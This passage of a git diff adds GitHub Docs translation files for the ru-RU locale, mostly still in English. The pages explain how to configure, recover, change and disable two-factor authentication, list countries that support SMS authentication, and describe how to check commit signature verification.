authentication](/articles/about-two-factor-authentication)" +- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)" +- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)" +- "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)" diff --git a/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md new file mode 100644 index 000000000000..80b5dabe940c --- /dev/null +++ b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md @@ -0,0 +1,35 @@ +--- +title: Changing two-factor authentication delivery methods for your mobile device +intro: You can switch between receiving authentication codes through a text message or a mobile application. +redirect_from: + - /articles/changing-two-factor-authentication-delivery-methods + - /articles/changing-two-factor-authentication-delivery-methods-for-your-mobile-device + - /github/authenticating-to-github/changing-two-factor-authentication-delivery-methods-for-your-mobile-device + - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device +versions: + fpt: '*' + ghec: '*' +topics: + - 2FA +shortTitle: Change 2FA delivery method +--- +{% note %} + +**Note:** Changing your primary method for two-factor authentication invalidates your current two-factor authentication setup, including your recovery codes. Keep your new set of recovery codes safe. Changing your primary method for two-factor authentication does not affect your fallback SMS configuration, if configured. For more information, see "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#setting-a-fallback-authentication-number)." + +{% endnote %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.security %} +3. Next to "Primary two-factor method", click **Change**. + ![Edit primary delivery options](/assets/images/help/2fa/edit-primary-delivery-option.png) +4. Under "Delivery options", click **Reconfigure two-factor authentication**. + ![Switching your 2FA delivery options](/assets/images/help/2fa/2fa-switching-methods.png) +5. Decide whether to set up two-factor authentication using a TOTP mobile app or text message. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." + - To set up two-factor authentication using a TOTP mobile app, click **Set up using an app**. + - To set up two-factor authentication using text message (SMS), click **Set up using SMS**. + +## Further reading + +- "[About two-factor authentication](/articles/about-two-factor-authentication)" +- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)" diff --git a/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md new file mode 100644 index 000000000000..82055c17a530 --- /dev/null +++ b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md @@ -0,0 +1,90 @@ +--- +title: Configuring two-factor authentication recovery methods +intro: You can set up a variety of recovery methods to access your account if you lose your two-factor authentication credentials. +redirect_from: + - /articles/downloading-your-two-factor-authentication-recovery-codes + - /articles/setting-a-fallback-authentication-number + - /articles/about-recover-accounts-elsewhere + - /articles/adding-a-fallback-authentication-method-with-recover-accounts-elsewhere + - /articles/generating-and-storing-an-account-recovery-token + - /articles/configuring-two-factor-authentication-recovery-methods + - /github/authenticating-to-github/configuring-two-factor-authentication-recovery-methods + - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - 2FA +shortTitle: Configure 2FA recovery +--- +In addition to securely storing your two-factor authentication recovery codes, we strongly recommend configuring one or more additional recovery methods. + +## Downloading your two-factor authentication recovery codes + +{% data reusables.two_fa.about-recovery-codes %} You can also download your recovery codes at any point after enabling two-factor authentication. + +To keep your account secure, don't share or distribute your recovery codes. We recommend saving them with a secure password manager, such as: +- [1Password](https://1password.com/) +- [LastPass](https://lastpass.com/) + +If you generate new recovery codes or disable and re-enable 2FA, the recovery codes in your security settings automatically update. + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.security %} +{% data reusables.two_fa.show-recovery-codes %} +4. Save your recovery codes in a safe place. Your recovery codes can help you get back into your account if you lose access. + - To save your recovery codes on your device, click **Download**. + - To save a hard copy of your recovery codes, click **Print**. + - To copy your recovery codes for storage in a password manager, click **Copy**. + ![List of recovery codes with option to download, print, or copy the codes](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png) + +## Generating a new set of recovery codes + +Once you use a recovery code to regain access to your account, it cannot be reused. If you've used all 16 recovery codes, you can generate another list of codes. Generating a new set of recovery codes will invalidate any codes you previously generated. + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.security %} +{% data reusables.two_fa.show-recovery-codes %} +3. To create another batch of recovery codes, click **Generate new recovery codes**. + ![Generate new recovery codes button](/assets/images/help/2fa/generate-new-recovery-codes.png) + +## Configuring a security key as an additional two-factor authentication method + +You can set up a security key as a secondary two-factor authentication method, and use the security key to regain access to your account. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)." + +{% ifversion fpt or ghec %} + +## Setting a fallback authentication number + +You can provide a second number for a fallback device. If you lose access to both your primary device and your recovery codes, a backup SMS number can get you back in to your account. + +You can use a fallback number regardless of whether you've configured authentication via text message or TOTP mobile application. + +{% warning %} + +**Warning:** Using a fallback number is a last resort. We recommend configuring additional recovery methods if you set a fallback authentication number. +- Bad actors may attack cell phone carriers, so SMS authentication is risky. +- SMS messages are only supported for certain countries outside the US; for the list, see "[Countries where SMS authentication is supported](/articles/countries-where-sms-authentication-is-supported)". + +{% endwarning %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.security %} +3. Next to "Fallback SMS number", click **Add**. +![Add fallback SMS number button](/assets/images/help/2fa/add-fallback-sms-number-button.png) +4. Under "Fallback SMS number", click **Add fallback SMS number**. +![Add fallback SMS number text](/assets/images/help/2fa/add_fallback_sms_number_text.png) +5. Select your country code and type your mobile phone number, including the area code. When your information is correct, click **Set fallback**. + ![Set fallback SMS number](/assets/images/help/2fa/2fa-fallback-number.png) + +After setup, the backup device will receive a confirmation SMS. + +{% endif %} + +## Further reading + +- "[About two-factor authentication](/articles/about-two-factor-authentication)" +- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)" +- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)" +- "[Recovering your account if you lose your two-factor authentication credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)" diff --git a/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md new file mode 100644 index 000000000000..ec06abf70261 --- /dev/null +++ b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md @@ -0,0 +1,155 @@ +--- +title: Configuring two-factor authentication +intro: You can choose among multiple options to add a second source of authentication to your account. +redirect_from: + - /articles/configuring-two-factor-authentication-via-a-totp-mobile-app + - /articles/configuring-two-factor-authentication-via-text-message + - /articles/configuring-two-factor-authentication-via-fido-u2f + - /articles/configuring-two-factor-authentication + - /github/authenticating-to-github/configuring-two-factor-authentication + - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - 2FA +shortTitle: Configure 2FA +--- +You can configure two-factor authentication using a mobile app{% ifversion fpt or ghec %} or via text message{% endif %}. You can also add a security key. + +We strongly recommend using a time-based one-time password (TOTP) application to configure 2FA.{% ifversion fpt or ghec %} TOTP applications are more reliable than SMS, especially for locations outside the United States.{% endif %} TOTP apps support the secure backup of your authentication codes in the cloud and can be restored if you lose access to your device. + +{% warning %} + +**Warning:** +- If you're a member{% ifversion fpt or ghec %}, billing manager,{% endif %} or outside collaborator to a private repository of an organization that requires two-factor authentication, you must leave the organization before you can disable 2FA on {% data variables.location.product_location %}. +- If you disable 2FA, you will automatically lose access to the organization and any private forks you have of the organization's private repositories. To regain access to the organization and your forks, re-enable two-factor authentication and contact an organization owner. + +{% endwarning %} + +{% ifversion fpt or ghec %} + +If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you cannot configure 2FA for your {% data variables.enterprise.prodname_managed_user %} account unless you're signed in as the setup user. For users other than the setup user, an administrator must configure 2FA on your identity provider (IdP). + +{% endif %} + +## Configuring two-factor authentication using a TOTP mobile app + +A time-based one-time password (TOTP) application automatically generates an authentication code that changes after a certain period of time. We recommend using cloud-based TOTP apps such as: +- [1Password](https://support.1password.com/one-time-passwords/) +- [Authy](https://authy.com/guides/github/) +- [LastPass Authenticator](https://lastpass.com/auth/) +- [Microsoft Authenticator](https://www.microsoft.com/en-us/account/authenticator/) + +{% tip %} + +**Tip**: To configure authentication via TOTP on multiple devices, during setup, scan the QR code using each device at the same time. If 2FA is already enabled and you want to add another device, you must re-configure 2FA from your security settings. + +{% endtip %} + +1. Download a TOTP app. +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.security %} +{% data reusables.two_fa.enable-two-factor-authentication %} +{%- ifversion fpt or ghec or ghes %} +5. Under "Two-factor authentication", select **Set up using an app** and click **Continue**. +6. Under "Authentication verification", do one of the following: + - Scan the QR code with your mobile device's app. After scanning, the app displays a six-digit code that you can enter on {% data variables.product.product_name %}. + - If you can't scan the QR code, click **enter this text code** to see a code that you can manually enter in your TOTP app instead. + ![Click enter this code](/assets/images/help/2fa/2fa_wizard_app_click_code.png) +7. The TOTP mobile application saves your account on {% data variables.location.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code from the application". If your recovery codes are not automatically displayed, click **Continue**. +![TOTP enter code field](/assets/images/help/2fa/2fa_wizard_app_enter_code.png) +{% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %} +{%- else %} +5. On the Two-factor authentication page, click **Set up using an app**. +6. Save your recovery codes in a safe place. Your recovery codes can help you get back into your account if you lose access. + - To save your recovery codes on your device, click **Download**. + - To save a hard copy of your recovery codes, click **Print**. + - To copy your recovery codes for storage in a password manager, click **Copy**. + ![List of recovery codes with option to download, print, or copy the codes](/assets/images/help/2fa/download-print-or-copy-recovery-codes-before-continuing.png) +7. After saving your two-factor recovery codes, click **Next**. +8. On the Two-factor authentication page, do one of the following: + - Scan the QR code with your mobile device's app. After scanning, the app displays a six-digit code that you can enter on {% data variables.product.product_name %}. + - If you can't scan the QR code, click **enter this text code** to see a code you can copy and manually enter on {% data variables.product.product_name %} instead. + ![Click enter this code](/assets/images/help/2fa/totp-click-enter-code.png) +9. The TOTP mobile application saves your account on {% data variables.location.product_location %} and generates a new authentication code every few seconds. On {% data variables.product.product_name %}, on the 2FA page, type the code and click **Enable**. + ![TOTP Enable field](/assets/images/help/2fa/totp-enter-code.png) +{%- endif %} +{% data reusables.two_fa.test_2fa_immediately %} + +{% ifversion fpt or ghec %} + +## Configuring two-factor authentication using text messages + +If you're unable to authenticate using a TOTP mobile app, you can authenticate using SMS messages. You can also provide a second number for a fallback device. If you lose access to both your primary device and your recovery codes, a backup SMS number can get you back in to your account. + +Before using this method, be sure that you can receive text messages. Carrier rates may apply. + +{% warning %} + +**Warning:** We **strongly recommend** using a TOTP application for two-factor authentication instead of SMS. {% data variables.product.product_name %} doesn't support sending SMS messages to phones in every country. Before configuring authentication via text message, review the list of countries where {% data variables.product.product_name %} supports authentication via SMS. For more information, see "[Countries where SMS authentication is supported](/articles/countries-where-sms-authentication-is-supported)". + +{% endwarning %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.security %} +{% data reusables.two_fa.enable-two-factor-authentication %} +4. Under "Two-factor authentication", select **Set up using SMS** and click **Continue**. +5. Under "Authentication verification", select your country code and type your mobile phone number, including the area code. When your information is correct, click **Send authentication code**. + + ![2FA SMS screen](/assets/images/help/2fa/2fa_wizard_sms_send.png) + +6. You'll receive a text message with a security code. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code sent to your phone" and click **Continue**. + + ![2FA SMS continue field](/assets/images/help/2fa/2fa_wizard_sms_enter_code.png) +{% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %} +{% data reusables.two_fa.test_2fa_immediately %} + +{% endif %} + +## Configuring two-factor authentication using a security key + +{% data reusables.two_fa.after-2fa-add-security-key %} + +On most devices and browsers, you can use a physical security key over USB or NFC. Some browsers can use the fingerprint reader, facial recognition, or password/PIN on your device as a security key. + +Authentication with a security key is *secondary* to authentication with a TOTP application{% ifversion fpt or ghec %} or a text message{% endif %}. If you lose your security key, you'll still be able to use your phone's code to sign in. + +1. You must have already configured 2FA via a TOTP mobile app{% ifversion fpt or ghec %} or via SMS{% endif %}. +2. Ensure that you have a WebAuthn compatible security key inserted into your computer. +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.security %} +5. Next to "Security keys", click **Add**. + ![Add security keys option](/assets/images/help/2fa/add-security-keys-option.png) +6. Under "Security keys", click **Register new security key**. + ![Registering a new security key](/assets/images/help/2fa/security-key-register.png) +7. Type a nickname for the security key, then click **Add**. + ![Providing a nickname for a security key](/assets/images/help/2fa/security-key-nickname.png) +8. Activate your security key, following your security key's documentation. + ![Prompt for a security key](/assets/images/help/2fa/security-key-prompt.png) +9. Confirm that you've downloaded and can access your recovery codes. If you haven't already, or if you'd like to generate another set of codes, download your codes and save them in a safe place. If you lose access to your account, you can use your recovery codes to get back into your account. For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)." + ![Download recovery codes button](/assets/images/help/2fa/2fa-recover-during-setup.png) +{% data reusables.two_fa.test_2fa_immediately %} + +{% ifversion fpt or ghec %} +## Configuring two-factor authentication using {% data variables.product.prodname_mobile %} + +You can use {% data variables.product.prodname_mobile %} for 2FA when signing into your {% data variables.product.prodname_dotcom %} account in a web browser. 2FA with {% data variables.product.prodname_mobile %} does not rely on TOTP, and instead uses public-key cryptography to secure your account. + +Once you have configured a TOTP application, or SMS, you can also use {% data variables.product.prodname_mobile %} to authenticate. If, in the future, you no longer have access to {% data variables.product.prodname_mobile %}, you will still be able to use security keys or TOTP applications to sign in. + +1. You must have already configured 2FA via a TOTP mobile app or via SMS. +2. Install [{% data variables.product.prodname_mobile %}](https://github.com/mobile). +3. Sign in to your {% data variables.product.product_name %} account from {% data variables.product.prodname_mobile %}. + +After signing in, you can now use your device for 2FA. +{% endif %} + +## Further reading + +- "[About two-factor authentication](/articles/about-two-factor-authentication)" +- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)" +- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)" +- "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)" +- "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)" diff --git a/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported.md b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported.md new file mode 100644 index 000000000000..e10ad978c733 --- /dev/null +++ b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported.md @@ -0,0 +1,142 @@ +--- +title: 'Страны, в которых поддерживаются проверка подлинности с помощью SMS' +intro: 'Учитывая показатели успешности доставки, {% data variables.product.product_name %} поддерживает только двухфакторную проверку подлинности посредством SMS для определенных стран.' +redirect_from: + - /articles/countries-where-sms-authentication-is-supported + - /github/authenticating-to-github/countries-where-sms-authentication-is-supported + - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/countries-where-sms-authentication-is-supported +versions: + fpt: '*' + ghec: '*' +topics: + - 2FA +shortTitle: Countries supporting SMS +ms.openlocfilehash: bfd2ae699b2ac36d0d56deb43d892192441d2fe3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145088275' +--- +Если двухфакторная проверка подлинности с помощью текстовых сообщений не поддерживается для вашей страны проживания, вы можете настроить проверку подлинности через мобильное приложение TOTP. Подробнее: [Настройка двухфакторной проверки подлинности](/articles/configuring-two-factor-authentication). + +## Страны, где поддерживается проверка подлинности по SMS + +Если ваша страна отсутствует в этом списке, это означает, что в настоящее время мы не гарантируем доставку текстовых сообщений в вашу страну. Мы периодически обновляем этот список. + +
    +
  • Аландские острова
  • +
  • Алжир
  • +
  • Ангола
  • +
  • Ангилья
  • +
  • Австралия
  • +
  • Австрия
  • +
  • Багамские о-ва
  • +
  • Бахрейн
  • +
  • Бангладеш
  • +
  • Беларусь
  • +
  • Бельгия
  • +
  • Бенин
  • +
  • Боливия
  • +
  • Босния и Герцеговина
  • +
  • Бруней-Даруссалам
  • +
  • Болгария
  • +
  • Бурунди
  • +
  • Камбоджа
  • +
  • Канада
  • +
  • Кабо-Верде
  • +
  • Острова Кайман
  • +
  • Остров Рождества
  • +
  • Cocos
  • +
  • Демократическая республика Конго
  • +
  • Хорватия
  • +
  • Кипр
  • +
  • Чешская Республика
  • +
  • Дания
  • +
  • Доминика
  • +
  • Доминиканская Республика
  • +
  • Эквадор
  • +
  • Экваториальная Гвинея
  • +
  • Эстония
  • +
  • Финляндия, Аландские острова
  • +
  • Франция
  • +
  • Гамбия
  • +
  • Грузия
  • +
  • Германия
  • +
  • Гана
  • +
  • Гибралтар
  • +
  • Греция
  • +
  • Гватемала
  • +
  • Гайана
  • +
  • Венгрия
  • +
  • Исландия
  • +
  • Индия
  • +
  • Индонезия
  • +
  • Ирландия
  • +
  • Израиль
  • +
  • Италия
  • +
  • Кот-д'Ивуар
  • +
  • Ямайка
  • +
  • Япония
  • +
  • Иордания
  • +
  • Казахстан
  • +
  • Кувейт
  • +
  • Латвия
  • +
  • Ливия
  • +
  • Лихтенштейн
  • +
  • Литва
  • +
  • Люксембург
  • +
  • Мадагаскар
  • +
  • Малави
  • +
  • Малайзия
  • +
  • Мальдивы
  • +
  • Мали
  • +
  • Мальта
  • +
  • Маврикий
  • +
  • Мексика
  • +
  • Монако
  • +
  • Черногория
  • +
  • Монтсеррат
  • +
  • Мозамбик
  • +
  • Намибия
  • +
  • Нидерланды
  • +
  • Нидерландские Антильские острова
  • +
  • Новая Зеландия
  • +
  • Нигерия
  • +
  • Норвегия
  • +
  • Филиппины
  • +
  • Польша
  • +
  • Португалия
  • +
  • Катар
  • +
  • Румыния
  • +
  • Руанда
  • +
  • Сенегал
  • +
  • Сербия
  • +
  • Сейшельские Острова
  • +
  • Сингапур
  • +
  • Словакия
  • +
  • Словения
  • +
  • Южно-Африканская Республика
  • +
  • Южная Корея
  • +
  • Испания
  • +
  • Шри-Ланка
  • +
  • Сент-Люсия
  • +
  • Судан
  • +
  • Швеция
  • +
  • Швейцария
  • +
  • Тайвань
  • +
  • Танзания
  • +
  • Того
  • +
  • Тринидад и Тобаго
  • +
  • Острова Теркс и Кайкос
  • +
  • Уганда
  • +
  • ОАЭ
  • +
  • Соединенное Королевство
  • +
  • США
  • +
  • Узбекистан
  • +
  • Венесуэла
  • +
+ +## Дополнительные материалы + +- [Двухфакторная проверка подлинности](/articles/about-two-factor-authentication) diff --git a/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/disabling-two-factor-authentication-for-your-personal-account.md b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/disabling-two-factor-authentication-for-your-personal-account.md new file mode 100644 index 000000000000..06874b2139be --- /dev/null +++ b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/disabling-two-factor-authentication-for-your-personal-account.md @@ -0,0 +1,39 @@ +--- +title: Disabling two-factor authentication for your personal account +intro: 'If you disable two-factor authentication for your personal account, you may lose access to organizations you belong to.' +redirect_from: + - /articles/disabling-two-factor-authentication-for-your-personal-account + - /github/authenticating-to-github/disabling-two-factor-authentication-for-your-personal-account + - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/disabling-two-factor-authentication-for-your-personal-account +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - 2FA +shortTitle: Disable 2FA +--- +We strongly recommend using two-factor authentication to secure your account. If you need to disable 2FA, we recommend re-enabling it as soon as possible. + +{% warning %} + +**Warning:** If you're a member{% ifversion fpt or ghec %}, billing manager,{% endif %} or outside collaborator to a public repository of an organization that requires two-factor authentication and you disable 2FA, you'll be automatically removed from the organization, and you'll lose your access to their repositories. To regain access to the organization, re-enable two-factor authentication and contact an organization owner. + +{% endwarning %} + +If your organization requires two-factor authentication and you're a member, owner, or an outside collaborator on a private repository of your organization, you must first leave your organization before you can disable two-factor authentication. + +To remove yourself from your organization: + - As an organization member or owner, see "[Removing yourself from an organization](/articles/removing-yourself-from-an-organization/)." + - As an outside collaborator, ask an organization owner or repository administrator to remove you from the organization's repositories. For more information, see "[Viewing people's roles in an organization](/articles/viewing-people-s-roles-in-an-organization)" and "[Removing an outside collaborator from an organization repository](/articles/removing-an-outside-collaborator-from-an-organization-repository/)." + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.security %} +3. Click **Disable**. + ![Disable two-factor authentication button](/assets/images/help/2fa/disable-two-factor-authentication.png) + +## Further reading + +- "[About two-factor authentication](/articles/about-two-factor-authentication)" +- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)" +- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)" diff --git a/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md new file mode 100644 index 000000000000..ee314edd920c --- /dev/null +++ b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md @@ -0,0 +1,26 @@ +--- +title: Securing your account with two-factor authentication (2FA) +intro: 'You can set up your account on {% data variables.location.product_location %} to require an authentication code in addition to your password when you sign in.' +redirect_from: + - /categories/84/articles + - /categories/two-factor-authentication-2fa + - /articles/securing-your-account-with-two-factor-authentication-2fa + - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - 2FA +children: + - /about-two-factor-authentication + - /configuring-two-factor-authentication + - /configuring-two-factor-authentication-recovery-methods + - /accessing-github-using-two-factor-authentication + - /recovering-your-account-if-you-lose-your-2fa-credentials + - /changing-two-factor-authentication-delivery-methods-for-your-mobile-device + - /countries-where-sms-authentication-is-supported + - /disabling-two-factor-authentication-for-your-personal-account +shortTitle: Secure your account with 2FA +--- + diff --git a/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md new file mode 100644 index 000000000000..6c4ac89dc092 --- /dev/null +++ b/translations/ru-RU/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md @@ -0,0 +1,110 @@ +--- +title: Recovering your account if you lose your 2FA credentials +intro: 'If you lose access to your two-factor authentication credentials, you can use your recovery codes, or another recovery option, to regain access to your account.' +redirect_from: + - /articles/recovering-your-account-if-you-lost-your-2fa-credentials + - /articles/authenticating-with-an-account-recovery-token + - /articles/recovering-your-account-if-you-lose-your-2fa-credentials + - /github/authenticating-to-github/recovering-your-account-if-you-lose-your-2fa-credentials + - /github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - 2FA +shortTitle: Recover an account with 2FA +--- +{% ifversion fpt or ghec %} + +{% warning %} + +**Warnings**: + +- {% data reusables.two_fa.support-may-not-help %} + +{% endwarning %} + +{% endif %} + +## Using a two-factor authentication recovery code + +Use one of your recovery codes to automatically regain entry into your account. You may have saved your recovery codes to a password manager or your computer's downloads folder. The default filename for recovery codes is `github-recovery-codes.txt`. For more information about recovery codes, see "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes)." + +1. Type your username and password to prompt authentication. + + {% warning %} + + **Warning**: {% data reusables.accounts.you-must-know-your-password %} + + {% endwarning %} + +{% ifversion fpt or ghec %} +1. Under "Having problems?", click **Use a recovery code or request a reset**. + + ![Screenshot of link to use a recovery code](/assets/images/help/2fa/2fa-recovery-code-link.png) +{%- else %} +1. On the 2FA page, under "Don't have your phone?", click **Enter a two-factor recovery code**. + + ![Screenshot of link to use a recovery code](/assets/images/help/2fa/2fa_recovery_dialog_box.png){% endif %} +1. Type one of your recovery codes, then click **Verify**. + + ![Field to type a recovery code and Verify button](/assets/images/help/2fa/2fa-type-verify-recovery-code.png) + +{% ifversion fpt or ghec %} +## Authenticating with a fallback number + +If you lose access to your primary TOTP app or phone number, you can provide a two-factor authentication code sent to your fallback number to automatically regain access to your account. +{% endif %} + +## Authenticating with a security key + +If you configured two-factor authentication using a security key, you can use your security key as a secondary authentication method to automatically regain access to your account. For more information, see "[Configuring two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)." + +{% ifversion fpt or ghec %} +## Authenticating with a verified device, SSH token, or {% data variables.product.pat_generic %} + +If you know your password for {% data variables.location.product_location %} but don't have the two-factor authentication credentials or your two-factor authentication recovery codes, you can have a one-time password sent to your verified email address to begin the verification process and regain access to your account. + +{% note %} + +**Note**: For security reasons, regaining access to your account by authenticating with a one-time password can take up to three business days. {% data variables.product.company_short %} will not review additional requests submitted during this time. + +{% endnote %} + +You can use your two-factor authentication credentials or two-factor authentication recovery codes to regain access to your account anytime during the 3-5 day waiting period. + +1. Type your username and password to prompt authentication. + + {% warning %} + + **Warning**: {% data reusables.accounts.you-must-know-your-password %} + + {% endwarning %} +1. Under "Having problems?", click **Use a recovery code or request a reset**. + + ![Screenshot of link if you don't have your 2fa device or recovery codes](/assets/images/help/2fa/no-access-link.png) +1. To the right of "Locked out?", click **Try recovering your account**. + + ![Screenshot of link to try recovering your account](/assets/images/help/2fa/try-recovering-your-account-link.png) +1. Click **I understand, get started** to request a reset of your authentication settings. + + ![Screenshot of button to start reset of authentication settings](/assets/images/help/2fa/reset-auth-settings.png) +1. Click **Send one-time password** to send a one-time password to all eligible addresses associated with your account. Only verified emails are eligible for account recovery. If you've restricted password resets to your primary and/or backup addresses, these addresses are the only addresses eligible for account recovery. + + ![Screenshot of button to send one-time password](/assets/images/help/2fa/send-one-time-password.png) +1. Under "One-time password", type the temporary password from the recovery email {% data variables.product.prodname_dotcom %} sent. + + ![Screenshot of field to type one-time password](/assets/images/help/2fa/one-time-password-field.png) +1. Click **Verify email address**. + + ![Screenshot of button to verify email address](/assets/images/help/2fa/verify-email-address.png) +1. Choose an alternative verification factor. + - If you've used your current device to log into this account before and would like to use the device for verification, click **Verify with this device**. + - If you've previously set up an SSH key on this account and would like to use the SSH key for verification, click **SSH key**. + - If you've previously set up a {% data variables.product.pat_generic %} and would like to use the {% data variables.product.pat_generic %} for verification, click **{% data variables.product.pat_generic_caps %}**. + + ![Screenshot of buttons for alternative verification](/assets/images/help/2fa/alt-verifications.png) +1. A member of {% data variables.contact.github_support %} will review your request and email you within three business days. If your request is approved, you'll receive a link to complete your account recovery process. If your request is denied, the email will include a way to contact support with any additional questions. + +{% endif %} diff --git a/translations/ru-RU/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md b/translations/ru-RU/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md new file mode 100644 index 000000000000..df217b71a5c4 --- /dev/null +++ b/translations/ru-RU/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md @@ -0,0 +1,48 @@ +--- +title: Checking your commit and tag signature verification status +intro: 'You can check the verification status of your commit and tag signatures on {% data variables.product.product_name %}.' +redirect_from: + - /articles/checking-your-gpg-commit-and-tag-signature-verification-status + - /articles/checking-your-commit-and-tag-signature-verification-status + - /github/authenticating-to-github/checking-your-commit-and-tag-signature-verification-status + - /github/authenticating-to-github/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Identity + - Access management +shortTitle: Check verification status +--- +## Checking your commit signature verification status + +1. On {% data variables.product.product_name %}, navigate to your pull request. +{% data reusables.repositories.review-pr-commits %} +3. Next to your commit's abbreviated commit hash, there is a box that shows whether your commit signature is verified{% ifversion fpt or ghec %}, partially verified,{% endif %} or unverified. +![Signed commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png) +4. To view more detailed information about the commit signature, click **Verified**{% ifversion fpt or ghec %}, **Partially verified**,{% endif %} or **Unverified**. + GPG signed commits will show the ID of the key that was used. + ![Verified GPG signed commit](/assets/images/help/commits/gpg-signed-commit_verified_details.png) +{% ifversion ssh-commit-verification %} + SSH signed commits will show the signature of the public key that was used. + ![Verified SSH signed commit](/assets/images/help/commits/ssh-signed-commit-verified-details.png) +{% endif 